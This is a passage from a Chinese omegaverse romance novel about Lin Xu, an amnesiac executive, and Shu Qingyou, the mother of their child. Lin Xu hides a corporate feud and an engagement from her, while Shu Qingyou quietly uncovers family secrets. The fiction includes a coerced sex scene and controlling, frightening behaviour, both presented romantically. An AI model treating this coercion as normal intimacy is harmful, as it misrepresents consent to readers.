有些回忆模糊清晰,模糊到空白,不记得当时在收到医院急救通知,她如何前往。 清晰的是走入医院大门,降至冰点的气温终于酝酿出海城的第一场雪。 上空下行几片冰薄的雪花,飘摇着,融化在舒清柚的脸颊。 不过触觉没告诉她那是冰的,不长不短的路,也许跑了一段距离,她身体很热,热到发烫。 急诊室的灯灭了,舒清柚只看到医生出来,嘴一张一合,内容她从来都没听清过,也许是安慰? 只是,当她看到妈妈闭眼的那一面,整个世界陡然天旋地转,轰然倒塌。 直到下唇带来痛感,舒清柚收回咬住下唇的牙齿,她补偿性地碰了碰林絮,“你想去的话,我陪你。” 林絮察觉有什么变了,没在意,她还在回想助理发来的病情摘要报告。 精神心理科,私立心理诊所,疗诊周期频率一清二楚显示,病情来源复杂。 不过,应该和自己关系不大吧,归结于舒清柚承受能力太低。 林絮母亲死后,她能想通,不可以活在过去,并且,她很快就能找到替代品。 嗯舒清柚当时的确充当这一角色。 “不是你想去吗?”林絮重新贴上舒清柚,体温刚好,她揉搓着她的手指,手指如白玉一样润,光滑。 林絮将她的手放在脸上:“我们都没去旅游过,你想去哪?” 舒清柚心事重重,想起妹妹经常旁敲侧击不要忘记林絮做过的坏,不为自己考虑也要多想九泉之下的妈妈。 妈妈不希望看到她怏怏不乐。 “哪里都好。” 林絮鼓起腮帮子,尖牙轻咬了口舒清柚的手指,“你就这么没主见。” 舒清柚不想和她纠缠拌嘴,直接下断论:“就去北方看冰雕。” 谁都能感受到言语间的敷衍,林絮甩开她的手,气鼓鼓起身,支起拐杖,蜗牛一样,往房间挪。 舒清柚注视着她颀长背影,离的越远,林絮身后延展开长长的影子,缄默不言。 林絮欲擒故纵,到门口,脚步顿了顿,回头,嘴角下撇,“你还没想好吗?” 虽说不好的情绪不该让林絮承担,但这已经是舒清柚做到最好的方式,顺从。 “林絮,你想去哪,随你,我都跟你。” 啪——! 舒清柚耳畔回响着愤怒的关门声,她内心毫无波动。 这里空气尚可,就是晚上睡觉,总能听见窗外的虫鸣,此起彼伏。 恢复记忆的时日,每晚翻来覆去摊煎饼不知多少遭,她才勉强入眠。 今天她更觉舒清柚阴晴不定,就因为她提了一嘴没看过雪,难道就触犯舒清柚的逆鳞? 除非下雪有特殊含义,那她作为局外人岂不是无辜受无妄之灾。 女人心,海底针。 不管了,林絮蒙头盖上被子,半晌,她差点闷死在被窝里。 睁眼瞧手机,蓝光打在她愠怒的脸上,阴恻恻地,距离上床后快一个小时。 思来想去,她也无法容忍舒清柚居然长本事和她冷战,尤其她还搞不懂冷战的根源在哪? 带着这股不满,她连门也没敲,拧开主卧门把手。 她已经把这个房子,住的人,甚至是一只拖把,都当作她所有物,和属于自己的东西交流不需见外。 被窝有一个小小的鼓起,随着呼吸再次有频率回落。 小夜灯照在舒绒那乱糟糟的发顶,砸吧着小嘴,半张脸陷进被窝,一小只暖烘烘的,像是在冬眠的仓鼠。 林絮轻手轻脚带上门,她的女儿虽然傻,但长相优越,不愧是缩小版的舒清柚。 没准这份可爱真的能当饭吃 林絮很清楚舒清柚会在哪里出现,夜晚过于空旷的后院,更远处即是扰人的虫鸣。 叽叽喳喳地,昼夜不停歇。 冷风吹着,银杏树叶沙沙来回晃动,落叶脱离枝桠,无目的飘摇。 女士香烟的气味不算刺鼻,林絮紧拧眉头,在她的方位,正巧白烟被舒清柚呼出,倒是钻入林絮的鼻腔。 舒清柚只套了件普通铁灰色毛呢大衣,黑色半身裙,长发披在脑后,纤瘦的身子几乎和夜色融为一体。 唯有指间闪烁的一点猩红,将她放回现实世界。 林絮本能地低头,地上还散落着几根燃烧殆尽的烟蒂。 “清柚。” 她只叫了她的名字,舒清柚没理她,前进几步蹲下,快烧到末尾的香烟,在混凝土地上扭转熄灭。 留下了黑漆漆的灰。 林絮缓慢地来到她身后,搭在她发顶,柔顺的发质,缺了点细软的手感。 “冷不冷。” 接着微弱的月色,舒清柚抱住双臂颤抖,风还蛮大的,林絮把夹克外套兜到她身上。 她软下声音:“舒姐姐,我睡不着。” 继续揉着舒清柚的头发,从上往下滑,捏住受凉发红的耳朵。 林絮下达最后通牒,“你如果不陪我睡,我就和你一起冻死在这里。” 闻言,舒清柚缓下双肩,机械地将带有林絮气味的衣服拢紧。 信息素能在一定程度上安抚情绪不稳的Omega,无论是否在发情期,她被林絮包裹住。 “我不想和你一起睡。” 舒清柚的嗓音如水清凉,林絮问她为什么。 “你会压在我身上,很重。” 未曾设想的答案,舒清柚这话像小孩子和林絮赌气一般。 她完全忘记林絮现在没有和舒清柚共眠的回忆,林絮压低声音:“哦,嫌我胖了,我们爱情的保鲜期真短暂,和烟花那样短暂。” 林絮养伤这段时间,体重涨了有几斤,舒清柚有一回唤她吃早餐,林絮迷糊喊她进房。 早晨起床,林絮睡开皱巴巴的上衣,露出白腻平坦的小腹,原有的马甲线被柔软脂肪替代。 林絮清醒过后,对上舒清柚看她肚皮意味深长的眼神,她又气又恼。 都怪舒清柚,把她当小猪圈养,她奋发图强,决意日后要恢复健身习惯。 舒清柚笑了笑:“烟花挺漂亮的。” 她长吸着冷冽的空气,体内收到这股寒凉,反映在肌肤上,她站起,拉着林絮的手。 “睡觉可以,不许为非作歹。” 林絮失笑,“睡个觉,又不是做贼,我至于乱来?” 舒清柚语气笃定,不带犹豫,视线往下,“我是指你这只手,到处煽风点火。” “哦那算不上做贼,我要什么,正大光明的来。”林絮担心崩人设,打个哈欠,“走啦。” 是谁导致舒清柚抽烟的习惯,不言而喻,伤身体的事估计不止做这一件。 她现在够负责了,比如把舒清柚搂到怀里,有个软抱枕,一定能睡个好觉。 林絮的手搭在她腰上,有一下没一下的摩挲。 舒清柚担忧地从林絮胸口钻出,“绒绒一个人睡,我不放心。” “没关系,我前面看过她,睡得和小猪一样。” 也就只有林絮会这样形容女儿了舒清柚在她怀里依偎了会,不行,不能沉溺在温暖信息素里。 再说,她已经好多年没和林絮同床共枕,林絮当年也不会主动抱她睡。 她耳尖泛红,扭了下身子,“我还是走” “唔啊林,你” 猝不及防,还没等到滋润,被横冲直撞。 她瞳孔骤缩,被迫抓住对方双臂。 林絮的手臂恢复的最慢,距出院一个月,她手上力气依然欠缺,不能干重活,无法剧烈运动。 没关系,休养生息好久,放纵一次,也不会有比骨折更坏的状况。 “叫什么,小心绒绒被吵醒。”林絮动作照旧,轻言细语,“自己捂住嘴,乖。” 舒清柚震惊不已。 Alpha就算体能好,骨折也需要一个半月时间才可正常活动。 但上下起伏,无法思考更多,林絮不知廉耻,还释放信息素蛊惑她。 舒清柚眼尾被不断地刺到染红。 因为在外头吹了太久冷风,如今完完全全被加温,被覆盖,里里外外都被照顾到。 “唔好过分” 就因为不陪睡,就强行做,舒清柚眼眸雾蒙蒙的,如墨的夜,她看不真切林絮此刻的神情。 林絮亲了亲她,倾身低语:“嘘,不要发出声音” 第56章 撒谎她会体谅的吧 “医生都说我体质非同凡响。”看着医院大楼在后视镜远去,林絮自卖自夸,挽起袖子露出一截精瘦的白胳膊,稍使劲,能看到明显的肱二头肌。 “你不准嫌弃我吃胖了,我要减肥。” 舒清柚开车之余,瞥了下她,很在意体重的女朋友,无时不刻都想表现自己的身材,就因为她前天随口的玩笑话。 她不自觉牵起嘴角,“胖一点也很可爱,绒绒的宠物胖胖的,很萌。” 林絮睁大了眼,赌气地哼声,“那也没见你把我当宠物,宠物都抱在手上,揣在兜里,凭你,抱不动我。” 确实,林絮的体重比她重,还高她一些,舒清柚没有马上否决自己的力量:“等我健身。” “哈,你,少说也要练个一年半载。”林絮想象不出自家Omega练肩背举铁的模样。 稳定健身还得等到绒绒上幼儿园,舒清柚失落地来了句:“你不愿意等吗?” 林絮握着手机和顾怀愿发短信,约好明天和董事见面,她忙不迭道:“愿意,一百个一万个愿意,超级期待清柚公主抱我。” “对了,明天我都不在家,有事回老宅一趟。” 舒清柚点点头,具体的事林絮看起来不想说,但林絮口吻轻松,不再像上回那样心神不宁,她不再过多担心。 次日,天阴得低沉,仿佛整个天空都快塌下来,云层厚得像没人翻动的灰布,遮住所有日光。 林絮整装待发,还没开门,舒清柚唤住她。 “怎么了,要我给你带礼物回来吗?”林絮眼眸低垂,似笑非笑看着舒清柚。 舒清柚踌躇了会,探出柔软手掌,扣住林絮的后脑下按,踮起脚尖,亲了下她的唇,双唇抿了几下。 她放开林絮,又不舍地抱了抱她,眼里的温柔都快溢出来。 “我等你回家” 直到坐上私家车,林絮沉浸在走神中,心脏被一箭击中的酸胀感迟迟未消。 噗通噗通跳了一分钟才减缓。 大冬天的,林絮觉得车内暖气格外闷热,内搭的衬衫纽扣松开两颗,白皙的脖颈微透着粉。 她骗了舒清柚,以前她经常对舒清柚满不在乎,撒谎手到擒来,毕竟不太想外人了解自己的动向隐私。 但以前舒清柚是被动型,不会主动表现亲密,身份转换,林絮不得不佩服舒清柚无时不刻在撩拨她。 到达目的地,一家高级餐厅,坐落市中心,她倒是以前常来。 收到通知的经理早已在等她,见林总拄着拐杖深一脚浅一脚的,她慌忙迎上,斟词酌句询问需不需要搀扶,林絮身子后仰,冷淡拒绝。 被别人碰到,不如把她腿折了。 待到隐秘性良好包厢,顾怀愿正和一个董事相谈甚欢,看到林絮立刻幸灾乐祸,掏出手机就是一顿拍。 “身残志坚未婚妻,对项目这么上心,建议集团给你颁个最佳员工奖。” 林絮不理会她,对董事颔了颔首,“好久不见,赵董。” “林总,顾董刚和我说了您的遭遇,深表遗憾,至于幕后黑手” “不急,边吃饭边说” 这家餐厅有一道甜品做的很好,主厨五星大厨,最出彩的就是那道从不写入菜单的隐藏款。 她早在家吃饱,舒清柚每天都拿吃的诱惑她,很过分,偏生她没出息,被沾染了信息素的饭菜吸引。 顾怀愿和赵董和她一五一十复盘目前公司最大的项目。 “这份是他们提交给审计部门的财务清单,备份数据库,发现最初版本中有一笔预算款项” 顾怀愿跟着接上,关于项目现金流走向提前一个季度,完全不符逻辑。 林絮翻动报表,其中还有隐藏分包合同,她看着平板罗列的数据,冷笑着,“过时的一套,虚报成本、转移资金、走假合同,再用人情审计压住问题。” 证据多如牛毛,林海一家子真着急,脑子还蠢,屁股冒火了都不知道。 时间过去三个小时多,信息交换完毕。 打蛇打七寸,既然林海走项目资金审核流程绕过董事会,那些老东西不会善罢甘休。 林絮看了看表,披上外套,抓起倒在一旁的拐杖,“不好意思,赵董,我还有点事,先走一步。” 只等到赵董的道别,顾怀愿没有眼力见,低下头时不时看手机,又和哪个女人打得火热,林絮咳了声:“未婚妻,不送送我?” 顾怀愿才从手机里爬出来,“送啊,未婚妻。” 老样子,餐厅经理给她送上一份包装精美的甜点,她们并肩而出。 “小愿,车祸司机的信息我收到了,司机车祸前收到大笔转账,被林海安置在那所谓‘咨询公司的法人。’” 顾怀愿疑惑道:“那你还不快点报警,还有闲情逸致过日子。” 她有很闲情逸致吗?胖了几斤不算吧:“不用急,要让奶奶知道,由她定夺。” “您也太宽宏大量,现在去揭发,就可以让他们坐一辈子大牢,还需要开什么董事会,直接让警察介入。” 林絮眼中划过狠戾,她和宽宏大量四个字完全不沾,到时候双管齐下,提前走漏一点风声,这几个人肯定要窜逃国外避难。 到了国外,就更由不得他们说了算。 “对啊,我圣母小白,你现在才知道。” 顾怀愿虽然不知道林絮的计划,但也不敢苟同,“拉倒吧,谁都知道你小肚鸡肠,小时候我吃你一块蛋糕你都要和我冷战好多天” 提起小时候,林絮也不由自主和她多聊了几句。 “差点忘记给你这个。” 林絮还没反应过来,一只冰凉的钻戒被塞到手里,和顾怀愿手上的是一对,她们的订婚戒,钻石璀璨发亮。 林絮皱了皱眉:“又要让我去见你爸妈。” 顾怀愿娇俏一笑,“是呢,这次是她们特地感谢你,让出那块地皮。” 眼见林絮随便往口袋一塞,顾怀愿心疼地挡住她,“这好歹是我挑的,给未来老婆的戒指,你能不能爱惜点啊。” “用盒子装起来。” 林絮不耐烦地重新装好扔进去,全然没注意到街角池嘉凑巧和女朋友来这里吃饭。 池嘉和女朋友围观全程,尤其那一对闪到眼瞎,价值不菲的钻戒,其中之一套在另外一位明艳美女的手指上,池嘉吃瓜的心达到顶峰。 “清柚的小情人原来也有自己的情人啊她们圈子真乱。” 这几天气候逐步下降,到家时,暖气的干热扑面而来,放下蛋糕,林絮迫不及待蹒跚上前,将舒清柚抱住,脸埋在她脖颈蹭了又蹭。 “宝宝,外面好冷哦,想你。” 舒绒还在一旁惊奇地看着她们,大姐姐叫妈妈宝宝? 舒清柚则闹了个大红脸,林絮力道之大,几乎快将她嵌入体内。 想推开林絮又不敢使力,舒清柚只好转移舒绒注意力,“绒绒你看,大姐姐给你带了甜品。” 舒绒像是被注入能量体,急匆匆地扒拉开蛋糕盒,艺术品似的蛋糕抓住舒绒眼球。 淡奶白巧克力半球外壳、缀以白桃与杏仁奶酱完美结合,乳脂淡香萦绕在鼻尖。 舒绒已经把妈妈忘到脑后,对林絮笑的比花还灿烂,真验证那句有奶便是娘。 林絮懒得理贪吃鬼,满足地嗅着舒清柚的香气,咕哝,“你和舒绒一起吃,不要什么都让给她,苦孩子也不能苦自己。” 面对这歪理,舒清柚哭笑不得,在林絮背脊上下抚摸两下,“我不苦,有你在很开心。” “你奶奶那边还好吗?” 林絮后背僵直一瞬,舒清柚敏锐地察觉,但没往其他方面联想。 “怎么了,是她为难你了?还是老人家身体” 硬朗着,奶奶就是属于那种天天说快不行了,结果活得比谁都久的类型。 林絮总算舍得放开舒清柚:“什么都没有,就是有点饿了,今天晚上吃什么。” 明显有心事,瞒着她,舒清柚从不勉强,她抑住心底的失落,嘴角噙起一抹笑。 “没什么特别的,就是我们平常吃的那些。” 说着,舒清柚习惯就要脱开她的外套。 林絮突然想起钻戒,吓地一激灵,避开舒清柚,自己上手脱下上衣,缓慢地挂在衣架上。 “你昨天还和我说,池小姐过几天咖啡厅开业,把我也带去。” 舒清柚愣了下,悬在半空的手停顿好一会。 是她哪做错了吗?刚才还热情似火和她相拥,现在对她避之不及。 她垂下眼睑,掩盖住眼里失落,手臂落在腿侧,握了握手掌。 “好,带你去喝咖啡。” 林絮捏着舒绒塞得满满当当的腮帮,“之前不还说让我去帮忙招揽客户,要我打扮好看点。” 舒清柚莞尔一笑:“你现在就很好看。” 到了去给池嘉捧场的日子,还没到店,就看到咖啡门边老木质窗框有位网红在外直播。 林絮路过她时,引起一阵惊呼,“哎呀,小姐姐,又遇到你们了。” “你是?” 听到是在叫自己,林絮顿住,上下打量她,染成金黄长卷发,粉红泡泡裙,一件看似还算暖和的毛呢外套,腿上只有一双白丝袜,林絮觉得她以后会得老寒腿。 舒清柚当作没看到林絮的眼睛都快黏在她身上。 “上次在宠物店,记得吗?” 女孩满眼冒星星,小姐姐好帅啊,剪裁利落的黑色金纹西装,袖口挽到手腕,骨节分明的手搭在拐杖上,简直像拍时尚大片。 林絮反感地移开目光,不希望被纠缠上,口吻冷淡:“不好意思,忘了,借过,我女朋友和我有点事。” 第57章 掉马了,还要继续装吗? 周末,靠近市中心,梧桐树,网红提前直播,这几个要素构成网红店最基本的,对于普通顾客,网红效应,打卡地,最容易跟随潮流的方式。 况且这里老板是美女,经常在网上分享OO恋日常,比起AO常规恋,还是女女OO恋更好磕,养眼,物以稀为贵。 池嘉保持微笑处理店内一切,游刃有余地和每桌客人聊两句,一抬头,眼尖地瞧见舒清柚,加深笑意。 “来蛮早的。”池嘉目光却只在舒清柚身上停留一瞬,上下打量气质与上次完全不一样的林絮。 相貌没变,自打上回撞到林絮,她对舒清柚的担忧多了一分。 A大多都是吃了吐得到就不管的,这话用在舒清柚这资深受害者,再合适不过,注定被A吃干抹净。 “本来打算让你家小情人当个活体海报揽客的,”池嘉挽上舒清柚手臂,轻快地说:“现在看来太帅也不好,到时候小姑娘光围着她,我还做不做生意啦。” 林絮淡淡地瞥了眼她们肢体亲密接触,比赛一样,任性地捞住舒清柚另一只胳膊,搞得舒清柚被两人架在中间难以活动。 舒清柚优先关注林絮,以为她扯到伤口,关切问:“我带你进去坐一坐,嘉嘉,你办公室那边方便吗?” 还没等池嘉点头,林絮顺势咬紧下唇,更是搂紧舒清柚手臂,“池老板,你生意这么火爆,我们还是不麻烦你了绒绒还在家嗷嗷叫等着妈妈回家呢。” 池嘉刚还奇怪怎么不见干女儿,舒清柚解释舒绒受了点凉,在家休息,她妹妹照顾。 等于把话说到了死胡同,池嘉没有强留人的必要,若没有林絮带有敌意的发言,池嘉本来犹豫的话就想给舒清柚明了。 她神色不变,先是很惋惜绒绒不能来玩,后正大光明说:“清柚,我这边有一笔账目要找你对下,还有你也看到了,这么多人,杯子也有点不够用。” “我去去就回,你一个人可以吗?”舒清柚捏了下林絮的手指,把车钥匙给她“不舒服的话你先回车上等。” 林絮想也没想答应了,喋喋不休的人声属实对耳朵不太友好,她嫌吵,尤其感到了某些蠢蠢欲动的目光在她身上来回游离。 怎么,她看起来很好欺负的样子? 但是刚才的网红倒让她记起先前买的一些快递。 其中就有**用品,想到这些,林絮心情出奇愉悦。 池嘉等林絮一瘸一拐走远,煞有介事开口,“我说啊,你能不能长点心,那一朝被蛇咬十年怕井绳,你倒好,主动把绳子往脖子上套。” 舒清柚糊涂了,“什么意思?” 她静静听完池嘉绘声绘色的描述,她大概知道是顾怀愿,也没说什么,只是低着头,若有所思。 “你怎么都不带生气的,清柚。” 舒清柚反问,抄在上衣口袋里的手摩擦着面料,“生气又不能当饭吃。” 把池嘉噎住了,她们认识也有好几年,舒清柚性格向来不温不火,她对这只闷葫芦恨铁不成钢,临行前嘱咐舒清柚分手要趁早。 林絮没闲着,阅完日常报表,助理在电话和她汇报重要事项,她就开始走神了,手指点点屏幕,帖子详细介绍各种**玩法。 “林总,这四个项目推进情况您有在听吗?” 林絮神游了半天的思绪被助理打断,她眼神一顿,调整了下蓝牙,眉目如常,“嗯,继续。” 等舒清柚敲了下车窗,林絮掐断耳机,状态迅速转变,替她打开车门。 凉飕飕的风随舒清柚一起进来,她稍倾身,手在舒清柚指尖上贴了贴,“这么冷。” 随即把舒清柚的手往自己衣服里层里塞,像冰块在肌肤划过,引得她浑身起了层疙瘩。 林絮看她心不在焉的样子,下意识觉得舒清柚被冻僵了,“以后出门戴手套吧。” “好。” 舒清柚任由她为她取暖,无论林絮的动作表情,还是说话方式,一切都做到水到渠成,不露出半点马脚。 不对她回想起前两天,林絮反常地不许她宽衣,很像做了亏心事,躲着她,那件衣服被林絮挂在客卧的衣柜里。 她明白林絮注重隐私,可细致一探究,失忆的林絮为了勾她,连内衣裤都不知廉耻地暴露给她。 人不可能一成不变,尤其林絮只是短暂地失忆。 她不言不语,林絮的肌肤一点一滴输送过来,舒清柚愈发迷茫,不知林絮打的什么鬼主意。 吃一堑,没长一智,活该重蹈覆辙,不知为何,舒清柚脑海里蓦地冒出这句话。 她眼皮一跳,猛然收回手,动作太显得着急,林絮皱着眉,眼底闪过几不可察的不满,她的视线缓缓地对上舒清柚的脸。 舒清柚心脏忽然跳的极快,像是要破开胸腔的剧烈,明明这些日子,她已经习惯了林絮骄纵的气性。 一种不可名状的气息在两人之间流淌,舒清柚太阳穴突突直跳,张不开嘴,嘴唇莫名地干涸。 林絮几乎要将她里外看透,她眯了眯眼,熟悉的感觉油然而生,下属工作出错时僵直的肩背。 餐厅上错菜服务生理亏胆怯时的战战兢兢。 被她揍过的不计其数的人们对她的畏缩恐惧以及后怕。 居然都能汇聚到一个人的脸上。 是谁说舒清柚素来寡淡,冷静自持的林絮扯了下嘴角,“舒姐姐不冷了,那我们回去,你的妹妹还在等我们。” “还在发呆?不舒服吗?需要补充信息素?” 林絮出手扣住舒清柚的后颈,往她方向一拽,长发落在林絮手臂上,林絮呵笑一声。 明明没用多大的力,舒清柚眼泪差些被林絮指骨的触碰抖出,重重地吸口气。 “不,今天早上给过了,我们快点回去,绒绒她” 提到女儿,她喉咙就像被鱼刺卡住似的哽咽,吞不下去也吐不出来,胀酸胀的,眼眶逐渐泛红。 林絮盯着她清瘦绷紧的下颌角,目不转睛,舒清柚唇瓣的颜色发白,鼻尖刚从外面回来被吹红,现在嘛,说不好,也许快哭的前奏。 她就那么可怕?可怕到要把舒清柚生吞活剥,所以舒清柚视她如洪水猛兽。 尽管林絮一直维持着假象的笑,但摁在舒清柚后颈的手指不断收紧,舒清柚颤抖着睫毛,没一会,染上点滴的晶莹。 “怎么哭了,宝宝。” 林絮垂眸,吻在抿紧的唇瓣上,舒清柚像是木头一样,由着她把舌头伸进来,攻城略地在她口腔内扫荡。 还是挺甜的,如果忽视舒清柚坠落的泪珠,林絮另一只手则按住舒清柚的软腰,舒清柚嘤咛一声。 林絮心颤了颤,难舍地离开她的唇,点漆的眸子难以猜透,只默不作声擦着舒清柚脸上的潮湿。 因为长时间的接吻,舒清柚脸颊不由自主地发烫。 林絮伸出拇指,不轻不重地在舒清柚有些红肿的唇上按压,“都亲了这么多回,还没习惯,看你妆都化了。” 舒清柚匆忙别开脸,被林絮碰过的地方从最开始的战栗,到迷迷糊糊,现在唯有后知后觉的不知所措。 一路无言,以往回家,舒清柚会主动搀扶她,这次也一样,只是舒清柚变得更小心谨慎,也梗住脖子无法和她对视。 舒晚柠惊讶:“这么快回来,绒绒刚睡着。” 林絮自顾自地,当着舒晚柠的面,毫不收敛,甜甜地喊:“舒姐姐说想舍不得你一个人在家照顾孩子,怪辛苦的。” 说完还摇了摇舒清柚的胳膊。 舒清柚生硬地接过话头,浑身上下透着抗拒的意味,但她不敢在妹妹面前表现出来。 她不在乎面子这一说法,但不想让妹妹知道她在害怕,尽量保持常态。 “嗯,喝了杯咖啡,也没别的要紧事,你先去休息,晚饭我喊你。” 真不想看到姐姐和林絮亲亲我我的样子,她无奈,不愧是恋爱脑,但她这趟来也不是来玩。 必须要避开林絮才行。 舒晚柠警惕道:“姐,先别做饭,你过来,有点事。” 舒清柚见状呼出一口气,但她没走出一步,手臂继续被林絮攥紧。 她急促地喘息,瞥见林絮深不见底的笑意,她胸口发闷,附在林絮耳边低声:“求你” 软软的乞求声擦过林絮耳朵,林絮夸张地给了她一个熊抱,“好,早去早回,我有点饿了,我是说,腺体” 舒清柚一愣,小腹不免产生异样。 脱离了林絮,头重脚轻的身体缓和不少,舒清柚还要努力不让舒晚柠察觉,后院冷风呼啸,她把大衣领口揪直,顺带掩饰她的不安。 舒晚柠快言快语,她急个半死,巴不得赶快分享查出来的结果,“姐,我就直说,前几天我去堵了妈公司的行政经理,你记得不,李怡。” 半晌,舒清柚才从记忆库中搜到能和这名字对上的长相,有种不好的预感,她张了张嘴,呼出的薄雾在蒙在眼前。 “她和妈妈,公司,有什么关联?” 舒清柚嗓音意外的沙哑,好在舒晚柠眼睛放光,压根不在意舒清柚种种异样。 “那天妈在和林氏下属分公司经理打交道,妈公司当年大部分业务都是从分公司拿到的” 第58章 她想获知的真相…… 她决定以后出门都要看黄历,在此之前,她第六感灵验,说一不二,不对劲就是有意外状况。 舒清柚在后院待了有段时间,林絮看手机的频率五分钟一次,算下来已经六次,半小时。 林絮心神不宁,总觉得有什么事在酝酿,打破现状的征兆。 她来到房间,不作声,看着熟睡的舒绒,绯红的脸蛋重回白胖的小包子。 林絮俯下身,手背在舒绒额头上探了下,寻常温度,退烧了。 小孩子抵抗力差,隔三岔五生个小毛病,能把大人折腾到整夜操心,要不是她强行按住舒清柚让她闭眼,否则又得熬夜照顾舒绒。 林絮代替她照顾孩子后半夜,她不禁想,舒清柚到底在报复谁,还是心甘情愿生下来这孩子。 如果不是喜欢对方,何必生下她们的孩子,但这也不是一个人的事情。 对于舒清柚不打招呼自作主张,她可以不追究。 既来之则安之不就是,时别四年,曾经的情人给她生了个爱吃爱玩的闺女。 林絮还挺佩服她,第一回当妈,新手上路,佩服她就算心理尚有不妥,佩服她即使自伤过,也不妨碍化身成为成熟的大人,居然还养活一个崽。 养活…她们的女儿。 想到这,她心脏一紧,涣散的瞳孔猛然聚焦,手心冒出汗,她和她有了女儿,而她根本没打算什么时候找舒清柚摊牌。 况且,她到底了解舒清柚多少。 对舒清柚的爱好不甚在意,也不清她爱吃的食物,生活的习惯,似乎都是舒清柚在处处迁就她。 当初,她们若没有分开,她是否可以为她分担四年的重担,舒清柚看似比以前更弱不禁风。 舒清柚和她妹妹待太久了,久到不正常。 天气预报报道今晚将迎来入冬后第一场雪。 今天气温骤降至零下三度,万一舒清柚也感冒发烧,她可不想家里成病患聚集地。 在她胡思乱想之际,传来不紧不慢的脚步声。 步伐缓慢,林絮屏住呼吸,不眨眼。 一张苍白如纸的脸出现,嘴唇亦发白,冰凉的目光在零下的户外冻过一边,愈发深不见底。 林絮睫毛颤动,不觉柔声:“过来。” 舒清柚五指扣在门框,咬着牙,直到指腹发白,她还是选择迈步走向她。 头发有些凌乱了,林絮一错不错看着她,舒清柚面对她,没有先前的惧怕,也没有就林絮过完户所*作所为厉声质问讨伐。 仅仅,只是,冷着脸,比起陌生人,更多了一分涌动的情感,林絮不确定,舒清柚知道当年真相了吗? 她知道是她,亲手毁掉她的家庭吗? 舒清柚自然不必着急,她是法官,是审判长,盖棺定论,一锤定音由舒清柚说了算。 林絮想帮她理顺有几根不规矩竖起来的发丝,还没碰到,舒清柚握住她的手,偏开头,生疏,虚弱地说:“没关系的,不劳烦你。” “行,随你,”林絮说:“绒绒明天又可以生龙活虎活蹦乱跳了。” “嗯。” 舒清柚简单抛出一个字,惜字如金。 “你妹妹今晚睡哪?” “客卧。” 林絮不解地蹙眉,要将她排除在外的意图再明显不过,是啊,她们姐妹一条心,她林絮是什么东西。 她冷笑:“哦,挺好,今天我睡沙发?明天呢,后天呢,让我去躺大街。” 都彼此心知肚明,舒清柚哪会不清楚林絮,她想要她给明确的态度。 她敛眉,声音轻到只有她们听得见:“那你和我睡。” 傻了吧,不可思议,林絮有点发愣,过了好一会。 “好……” 舒清柚凉她一眼:“我的意思是,只有,你和我。” “什么?” 林絮睁大眼,一时间,大脑猛地宕机。 “我去做饭了。” 暂时不想和她聊太多,舒清柚起身就要走。 林絮低着头,一把扣住她的手腕,骨头摸起来也是脆生的,容易折断的。 “清柚,从我见你的第一面,我就在想,这个女人,看起来需要人保护。” 舒清柚顿了下,看不清她表情,只能感受到腕部皮肤在收紧。 有点疼,但舒清柚习惯林絮对她施加的痛感。 舒清柚坐在她旁边,认真,一字一句道:“臆想出来的判断,刻板印象不可取。” 林絮继续变本加厉,伸出另一只手搭在她斑驳的伤痕处,只剩微不足道的单衣遮挡。 “没错,大错特错,还侮辱了你,对不起。” 舒清柚没有任何的反抗,呼吸微滞,她察觉到林絮想要做的,专注地在她伤疤上,隔着面料,来来回回摩挲。 这应该是林絮第一次真情实意的道歉。 风声渐大,林絮的半张脸掩在乌发中,“你怎么不说谢谢我?” 舒清柚内心没有波动,一笑置之,“谢你什么?” 林絮抬起头,目光突兀地盯紧她,橘色灯光下,照在林絮脸上毫无血色。 “那当然是,谢我照顾绒绒。” 只有这样吗?舒清柚身子向前,在林絮的嘴角上落下一吻。 “我不会谢谢你。” 林絮绷紧唇瓣,几乎抿成锋利尖锐纸片,哪怕被亲了,舒清柚信息素惹的她周身躁动。 “你…知道了。” 舒清柚沉默了会,温和回应:“我又知道什么?” 林絮打了个寒噤。 她向来不怕与人对峙,谈判,气场本身就能轻松压制对方,印象中没输过,即使暂败,她也不惜动用更肮脏的方式。 无耻,但有效,她不是多善良的人,生意场上,乌烟瘴气,大家手里多少都不干净。 她也不是个特例,她会把舒清柚一家搞到家破人亡,然后按照自己的逻辑,去折磨对方。 仿佛这种快感能抵消一切不快,但舒清柚一直都只是无权无势的Omega。 她自认不会喜欢她,她只是隐约害怕舒清柚能把她某些东西带走。 林絮想通了,连带表情都缓和不少,“我们不要打哑谜了好不好,你知道那些,其实也不完全正确。” 兜圈子的应该是林絮,舒清柚顺着她,“好,对了,之前配绒绒看海底世界,她很想亲眼看看海洋生物。” “那就,海洋馆?” 舒清柚就像平常和她聊天一样:“好啊,我们选个时间过去。” 林絮不自觉把目光移到舒清柚的尖尖的下巴上,恍惚一瞬。 “你,亲我一下。” “不是刚亲过?” “不,不是这样。” 说着,林絮十分缺乏安全感,虎口抵着舒清柚的下颌,上身向前,毫无章法地咬着舒清柚的嘴唇。 水声黏腻,伴随着绵长的喘,这次是林絮没换气,舒清柚半睁眸子,没有特地迎合,林絮的牙齿和她的相撞,舌尖不停地追逐。 感觉一来,就顾不上未完成的坦白,手压在布料里,触及着滑嫩的肌肤。 林絮觉得自己好不堪,卑劣地,爱上了感受软成一滩水的滋味。 又反复说服自己,舒清柚不知道真相,或者哪怕知道了,也把她放在了第一位,没有揭穿她,心甘情愿和她亲热。 邀请她,一家三口去游玩。 “我们,晚上继续吧。” 林絮制止了更肆意妄为的行动,至少不应该,在女儿身边。 “好。” 舒清柚一如既往,不反驳她,甚至更温顺,像调教过的小鹿,说一不二,她这么乖,林絮本该把这当定心丸吃下。 狂躁的风响,经过水泥墙面的稀释,只有轻微的飘感。 林絮觉得眼前的舒清柚覆了层面纱,面纱之下或许也不再真实。 舒清柚这人,很难从她口中得知全部想法,话从不说透,也不爱说绝。 习惯于给双方留一个台阶。 要不是她患上病症,她能从舒清柚嘴里套到的真心话也只有只言片语。 饭桌上,香气弥漫,三个人不约而同恪守着食不言寝不语的条款。 金属筷和陶瓷的碰撞声成了她们间唯一的点缀,林絮胃里头感觉被乱七八糟的情绪填满。 潦草地吃了几口菜,洗好碗筷,装好给舒绒的饭菜喂给她。 等到林絮背影彻底消失,舒晚柠防备了好久的心落下,她焦虑地问:“姐,你打听到了什么?” 舒清柚一顿,“她还没想起来,不过我们公司被搞,大概率不是她指使,而是她家里某个亲戚…” 舒晚柠压低头,哀叹,“这狗东西,是打算失忆一辈子啊。” 看着妹妹执拗的模样,舒清柚宽慰道:“没关系呀,我们普通人本来就没有能获得证据的途径,知道真相又能如何。” 